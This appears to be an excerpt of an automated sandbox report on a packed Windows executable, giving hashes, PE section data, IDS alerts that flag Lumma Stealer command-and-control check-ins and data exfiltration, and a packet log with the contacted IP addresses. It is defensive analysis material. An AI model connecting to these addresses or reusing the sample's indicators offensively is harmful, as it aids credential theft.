Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	dropped
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	27868
Entropy (8bit):	5.155680085584642
Encrypted:	false
SSDEEP:	768:63ZUfTvLg6jLjnjrjGjXMQjtzjMFzXY8v1gWj/rlOVqnACpK3o3hhl0OU2/8BlsX:BTvL7HBJv11pOVqlh382/rIN1Y
MD5:	0A0F2E1CCB8E5F7C38CB11B101A8941F
SHA1:	112F4B7CB3DEDB9D9744CAC000E05DC949E89891
SHA-256:	DBDB03D01BA044C4072BBC169C1E54D05A3D89623D2EBEAC28AC89ABDA3ABC2A
SHA-512:	9BD4E9C2415FB62E55D04DDEB9ECE04CB9AE2B8F8B93632A11A0AFD1CE6A632DF7D58DD571BF34C6E8E99107E80340CFAFF4BB4A8E18D05B5CAA7445DE55839C
Malicious:	false
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	downloaded
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
URL:	https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	27868
Entropy (8bit):	5.155680085584642
Encrypted:	false
SSDEEP:	768:63ZUfTvLg6jLjnjrjGjXMQjtzjMFzXY8v1gWj/rlOVqnACpK3o3hhl0OU2/8BlsX:BTvL7HBJv11pOVqlh382/rIN1Y
MD5:	0A0F2E1CCB8E5F7C38CB11B101A8941F
SHA1:	112F4B7CB3DEDB9D9744CAC000E05DC949E89891
SHA-256:	DBDB03D01BA044C4072BBC169C1E54D05A3D89623D2EBEAC28AC89ABDA3ABC2A
SHA-512:	9BD4E9C2415FB62E55D04DDEB9ECE04CB9AE2B8F8B93632A11A0AFD1CE6A632DF7D58DD571BF34C6E8E99107E80340CFAFF4BB4A8E18D05B5CAA7445DE55839C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/banners/index.json
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.5295963498718415
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	ZvHSpovhDw.exe
File size:	2'921'472 bytes
MD5:	324d6e34a64ebcf92fa3b8fdeff6ac05
SHA1:	09d8d1f961b5ab02ef553c4cb878081388151d54
SHA256:	9a3826553e2ea02e6ba570dc2c3ba76cc70edfbfcac44eafc5875c60df6b0dd0
SHA512:	17f32eeffd7a043b1210282b67a3347b6d27f0916d4d6a03c18dd3bb83761433a39dd5644b10d50193522195764f6f64eb185b031f6dc4042d20fd624691da13
SSDEEP:	49152:cer3RHl3HNCCACUP7p0sB07xyIBz60tWnLQ75ThZi++8bnPxca6tUzXe:/hHl3HACACw7pRB07xyIBpWnLQdTni+6
TLSH:	ACD54BA2B40971CFD88B17759567CE82786E43F90B1408C7AD6DA47B7EB3CC215B6C28
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....Yig.............................`/...........@.........................../.....j.,...@.................................Y@..m..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x6f6000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x67695986 [Mon Dec 23 12:37:26 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F5DA4FBAEEAh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x54059	0x6d	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x541f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x52000	0x26400	885f3e429c233c1937c7893597f668d3	False	0.9995851205065359	data	7.978038833433887	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x53000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x54000	0x1000	0x200	39a711a7d804ccbc2a14eea65cf3c27e	False	0.154296875	data	1.0789976601211375	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ktpsvxhv	0x55000	0x2a0000	0x29f800	1f95dd2561262923f1fd9e50f9cd9dc2	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
patpnhcv	0x2f5000	0x1000	0x400	47e4529fa319b6e120fb461319c8f1d3	False	0.7890625	data	6.2088175750862495	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x2f6000	0x3000	0x2200	1c8e7cf23387573c43034c451e7194c7	False	0.006548713235294118	DOS executable (COM)	0.019571456231530684	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-27T08:54:26.035740+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49704	104.21.11.101	443	TCP
2024-12-27T08:54:26.776182+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49704	104.21.11.101	443	TCP
2024-12-27T08:54:26.776182+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49704	104.21.11.101	443	TCP
2024-12-27T08:54:28.014251+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49705	104.21.11.101	443	TCP
2024-12-27T08:54:28.769405+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49705	104.21.11.101	443	TCP
2024-12-27T08:54:28.769405+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49705	104.21.11.101	443	TCP
2024-12-27T08:54:30.398945+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49706	104.21.11.101	443	TCP
2024-12-27T08:54:32.794366+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49707	104.21.11.101	443	TCP
2024-12-27T08:54:33.807407+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49707	104.21.11.101	443	TCP
2024-12-27T08:54:35.534810+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49708	172.67.165.185	443	TCP
2024-12-27T08:54:38.112386+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49709	172.67.165.185	443	TCP
2024-12-27T08:54:40.636749+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49712	172.67.165.185	443	TCP
2024-12-27T08:54:40.641754+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49712	172.67.165.185	443	TCP
2024-12-27T08:54:45.922657+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49722	172.67.165.185	443	TCP
2024-12-27T08:54:46.700825+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49722	172.67.165.185	443	TCP
2024-12-27T08:54:48.223573+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	49728	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 08:54:18.002638102 CET	49674	443	192.168.2.5	23.1.237.91
Dec 27, 2024 08:54:18.268292904 CET	49675	443	192.168.2.5	23.1.237.91
Dec 27, 2024 08:54:18.269016981 CET	49673	443	192.168.2.5	23.1.237.91
Dec 27, 2024 08:54:24.768932104 CET	49704	443	192.168.2.5	104.21.11.101
Dec 27, 2024 08:54:24.768986940 CET	443	49704	104.21.11.101	192.168.2.5
Dec 27, 2024 08:54:24.769057035 CET	49704	443	192.168.2.5	104.21.11.101
Dec 27, 2024 08:54:24.770329952 CET	49704	443	192.168.2.5	104.21.11.101
Dec 27, 2024 08:54:24.770354986 CET	443	49704	104.21.11.101	192.168.2.5
Dec 27, 2024 08:54:26.035511971 CET	443	49704	104.21.11.101	192.168.2.5
Dec 27, 2024 08:54:26.035739899 CET	49704	443	192.168.2.5	104.21.11.101
Dec 27, 2024 08:54:26.039341927 CET	49704	443	192.168.2.5	104.21.11.101
Dec 27, 2024 08:54:26.039352894 CET	443	49704	104.21.11.101	192.168.2.5
Dec 27, 2024 08:54:26.039649963 CET	443	49704	104.21.11.101	192.168.2.5
Dec 27, 2024 08:54:26.080701113 CET	49704	443	192.168.2.5	104.21.11.101
Dec 27, 2024 08:54:26.097506046 CET	49704	443	192.168.2.5	104.21.11.101
Dec 27, 2024 08:54:26.097506046 CET	49704	443	192.168.2.5	104.21.11.101
Dec 27, 2024 08:54:26.097800970 CET	443	49704	104.21.11.101	192.168.2.5
Dec 27, 2024 08:54:26.776196957 CET	443	49704	104.21.11.101	192.168.2.5
Dec 27, 2024 08:54:26.776303053 CET	443	49704	104.21.11.101	192.168.2.5
Dec 27, 2024 08:54:26.776361942 CET	49704	443	192.168.2.5	104.21.11.101
Dec 27, 2024 08:54:26.778105974 CET	49704	443	192.168.2.5	104.21.11.101
Dec 27, 2024 08:54:26.778121948 CET	443	49704	104.21.11.101	192.168.2.5
Dec 27, 2024 08:54:26.778139114 CET	49704	443	192.168.2.5	104.21.11.101
Dec 27, 2024 08:54:26.778143883 CET	443	49704	104.21.11.101	192.168.2.5
Dec 27, 2024 08:54:26.800573111 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 08:54:26.800627947 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 08:54:26.800709963 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 08:54:26.801002026 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 08:54:26.801017046 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 08:54:27.611951113 CET	49674	443	192.168.2.5	23.1.237.91
Dec 27, 2024 08:54:27.877557993 CET	49675	443	192.168.2.5	23.1.237.91
Dec 27, 2024 08:54:27.877603054 CET	49673	443	192.168.2.5	23.1.237.91
Dec 27, 2024 08:54:28.014045000 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 08:54:28.014250994 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 08:54:28.015789032 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 08:54:28.015799999 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 08:54:28.016164064 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 08:54:28.017390013 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 08:54:28.017416000 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 08:54:28.017473936 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 08:54:28.769417048 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 08:54:28.769479990 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 08:54:28.769516945 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 08:54:28.769534111 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 08:54:28.769555092 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 08:54:28.769570112 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 08:54:28.769596100 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 08:54:28.769635916 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 08:54:28.769679070 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 08:54:28.769692898 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 08:54:28.782987118 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 08:54:28.783030033 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 08:54:28.783067942 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 08:54:28.783077955 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 08:54:28.783130884 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 08:54:28.791220903 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 08:54:28.846462965 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 08:54:28.888927937 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 08:54:28.940152884 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 08:54:28.961266041 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 08:54:28.965163946 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 08:54:28.965250969 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 08:54:28.965254068 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 08:54:28.965285063 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 08:54:28.965344906 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 08:54:28.965375900 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 08:54:28.965524912 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 08:54:28.965560913 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 08:54:28.965586901 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 08:54:28.965600967 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 08:54:28.965607882 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 08:54:29.139782906 CET	49706	443	192.168.2.5	104.21.11.101
Dec 27, 2024 08:54:29.139837027 CET	443	49706	104.21.11.101	192.168.2.5
Dec 27, 2024 08:54:29.139941931 CET	49706	443	192.168.2.5	104.21.11.101
Dec 27, 2024 08:54:29.140244007 CET	49706	443	192.168.2.5	104.21.11.101
Dec 27, 2024 08:54:29.140254974 CET	443	49706	104.21.11.101	192.168.2.5
Dec 27, 2024 08:54:30.189975023 CET	443	49703	23.1.237.91	192.168.2.5
Dec 27, 2024 08:54:30.190680981 CET	49703	443	192.168.2.5	23.1.237.91
Dec 27, 2024 08:54:30.398772955 CET	443	49706	104.21.11.101	192.168.2.5
Dec 27, 2024 08:54:30.398945093 CET	49706	443	192.168.2.5	104.21.11.101
Dec 27, 2024 08:54:30.400279999 CET	49706	443	192.168.2.5	104.21.11.101
Dec 27, 2024 08:54:30.400316000 CET	443	49706	104.21.11.101	192.168.2.5
Dec 27, 2024 08:54:30.400676012 CET	443	49706	104.21.11.101	192.168.2.5
Dec 27, 2024 08:54:30.401972055 CET	49706	443	192.168.2.5	104.21.11.101
Dec 27, 2024 08:54:30.402143955 CET	49706	443	192.168.2.5	104.21.11.101
Dec 27, 2024 08:54:30.402189016 CET	443	49706	104.21.11.101	192.168.2.5
Dec 27, 2024 08:54:31.435200930 CET	443	49706	104.21.11.101	192.168.2.5
Dec 27, 2024 08:54:31.435322046 CET	443	49706	104.21.11.101	192.168.2.5
Dec 27, 2024 08:54:31.435376883 CET	49706	443	192.168.2.5	104.21.11.101
Dec 27, 2024 08:54:31.435435057 CET	49706	443	192.168.2.5	104.21.11.101
Dec 27, 2024 08:54:31.435456991 CET	443	49706	104.21.11.101	192.168.2.5
Dec 27, 2024 08:54:31.535414934 CET	49707	443	192.168.2.5	104.21.11.101
Dec 27, 2024 08:54:31.535461903 CET	443	49707	104.21.11.101	192.168.2.5
Dec 27, 2024 08:54:31.535553932 CET	49707	443	192.168.2.5	104.21.11.101
Dec 27, 2024 08:54:31.535907030 CET	49707	443	192.168.2.5	104.21.11.101
Dec 27, 2024 08:54:31.535922050 CET	443	49707	104.21.11.101	192.168.2.5
Dec 27, 2024 08:54:32.794289112 CET	443	49707	104.21.11.101	192.168.2.5
Dec 27, 2024 08:54:32.794365883 CET	49707	443	192.168.2.5	104.21.11.101
Dec 27, 2024 08:54:32.816821098 CET	49707	443	192.168.2.5	104.21.11.101
Dec 27, 2024 08:54:32.816849947 CET	443	49707	104.21.11.101	192.168.2.5
Dec 27, 2024 08:54:32.817172050 CET	443	49707	104.21.11.101	192.168.2.5
Dec 27, 2024 08:54:32.837182999 CET	49707	443	192.168.2.5	104.21.11.101
Dec 27, 2024 08:54:32.837328911 CET	49707	443	192.168.2.5	104.21.11.101
Dec 27, 2024 08:54:32.837363005 CET	443	49707	104.21.11.101	192.168.2.5
Dec 27, 2024 08:54:32.837426901 CET	49707	443	192.168.2.5	104.21.11.101
Dec 27, 2024 08:54:32.837440014 CET	443	49707	104.21.11.101	192.168.2.5
Dec 27, 2024 08:54:33.807410002 CET	443	49707	104.21.11.101	192.168.2.5
Dec 27, 2024 08:54:33.807501078 CET	443	49707	104.21.11.101	192.168.2.5
Dec 27, 2024 08:54:33.807552099 CET	49707	443	192.168.2.5	104.21.11.101
Dec 27, 2024 08:54:33.807765007 CET	49707	443	192.168.2.5	104.21.11.101
Dec 27, 2024 08:54:33.807775974 CET	443	49707	104.21.11.101	192.168.2.5
Dec 27, 2024 08:54:34.271713972 CET	49708	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:54:34.271754980 CET	443	49708	172.67.165.185	192.168.2.5
Dec 27, 2024 08:54:34.271833897 CET	49708	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:54:34.272139072 CET	49708	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:54:34.272156954 CET	443	49708	172.67.165.185	192.168.2.5
Dec 27, 2024 08:54:35.534735918 CET	443	49708	172.67.165.185	192.168.2.5
Dec 27, 2024 08:54:35.534810066 CET	49708	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:54:35.539724112 CET	49708	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:54:35.539736032 CET	443	49708	172.67.165.185	192.168.2.5
Dec 27, 2024 08:54:35.540132046 CET	443	49708	172.67.165.185	192.168.2.5
Dec 27, 2024 08:54:35.541512012 CET	49708	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:54:35.541683912 CET	49708	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:54:35.541718960 CET	443	49708	172.67.165.185	192.168.2.5
Dec 27, 2024 08:54:35.541776896 CET	49708	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:54:35.541783094 CET	443	49708	172.67.165.185	192.168.2.5
Dec 27, 2024 08:54:36.535006046 CET	443	49708	172.67.165.185	192.168.2.5
Dec 27, 2024 08:54:36.535120010 CET	443	49708	172.67.165.185	192.168.2.5
Dec 27, 2024 08:54:36.535193920 CET	49708	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:54:36.535387993 CET	49708	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:54:36.535410881 CET	443	49708	172.67.165.185	192.168.2.5
Dec 27, 2024 08:54:36.839176893 CET	49709	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:54:36.839207888 CET	443	49709	172.67.165.185	192.168.2.5
Dec 27, 2024 08:54:36.839293957 CET	49709	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:54:36.839606047 CET	49709	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:54:36.839616060 CET	443	49709	172.67.165.185	192.168.2.5
Dec 27, 2024 08:54:38.112276077 CET	443	49709	172.67.165.185	192.168.2.5
Dec 27, 2024 08:54:38.112385988 CET	49709	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:54:38.115948915 CET	49709	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:54:38.115968943 CET	443	49709	172.67.165.185	192.168.2.5
Dec 27, 2024 08:54:38.116321087 CET	443	49709	172.67.165.185	192.168.2.5
Dec 27, 2024 08:54:38.117472887 CET	49709	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:54:38.117578030 CET	49709	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:54:38.117582083 CET	443	49709	172.67.165.185	192.168.2.5
Dec 27, 2024 08:54:38.874974966 CET	443	49709	172.67.165.185	192.168.2.5
Dec 27, 2024 08:54:38.875070095 CET	443	49709	172.67.165.185	192.168.2.5
Dec 27, 2024 08:54:38.875122070 CET	49709	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:54:38.875219107 CET	49709	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:54:38.875241995 CET	443	49709	172.67.165.185	192.168.2.5
Dec 27, 2024 08:54:39.379143000 CET	49712	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:54:39.379188061 CET	443	49712	172.67.165.185	192.168.2.5
Dec 27, 2024 08:54:39.379247904 CET	49712	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:54:39.379539967 CET	49712	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:54:39.379555941 CET	443	49712	172.67.165.185	192.168.2.5
Dec 27, 2024 08:54:40.636684895 CET	443	49712	172.67.165.185	192.168.2.5
Dec 27, 2024 08:54:40.636749029 CET	49712	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:54:40.638607025 CET	49712	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:54:40.638617992 CET	443	49712	172.67.165.185	192.168.2.5
Dec 27, 2024 08:54:40.638863087 CET	443	49712	172.67.165.185	192.168.2.5
Dec 27, 2024 08:54:40.640073061 CET	49712	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:54:40.640913010 CET	49712	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:54:40.640954971 CET	443	49712	172.67.165.185	192.168.2.5
Dec 27, 2024 08:54:40.641057014 CET	49712	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:54:40.641088009 CET	443	49712	172.67.165.185	192.168.2.5
Dec 27, 2024 08:54:40.641324043 CET	49712	443	192.168.2.5	172.67.165.185
